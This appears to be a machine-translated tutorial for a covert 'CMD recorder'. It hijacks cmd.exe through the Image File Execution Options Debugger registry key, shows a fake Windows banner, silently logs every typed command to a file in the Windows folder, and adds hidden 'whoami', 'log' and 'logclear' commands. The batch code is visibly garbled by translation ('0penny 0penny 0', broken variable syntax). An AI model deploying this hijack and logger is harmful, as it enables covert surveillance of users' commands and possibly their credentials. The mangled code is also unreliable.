How to implement Recorder with CMD
This article mainly introduces CMD how to achieve the recorder, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let the editor take you to understand it.
Install and save the code as cmd.bat and place cmd.exe copy as cmd.gif under system32
Registry add
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Image File Execution Options\ cmd.exe
String Debugger
String content cmd.gif / c cmd.bat
The code is as follows:
@ echo off
Title ComSpec%
Improved version of rem CMD recorder
Superjj, the original author of rem (probably a vest!)
Rem original address: https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html
Rem is modified by my allyesno (I am not a vest!)
Rem fault-tolerant code will not be improved, some details will be added by yourself!
Setlocal EnableDelayedExpansion
Echo Microsoft Windows XP [version 5.1.2600]
Echo (C) copyright 1985-2001 Microsoft Corp.
Echo.
For / l% I in (0penny 0penny 0) do (
Set / p strCMD=% CD% ^ >
If "! strcmd!" = "whoami" echo allyesno&set strcmd=
If "! strcmd!" = "log" type windir%history.txt&set strcmd=
If "! strcmd!" = "logclear" del windir%history.txt&set strcmd=
For / f "delims=" I in ("! strCMD!") Do echo I > > windir%history.txt
! strCMD!
Echo.
Thank you for reading this article carefully. I hope the article "how to implement the Recorder in CMD" shared by the editor will be helpful to everyone. At the same time, I also hope that you will support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!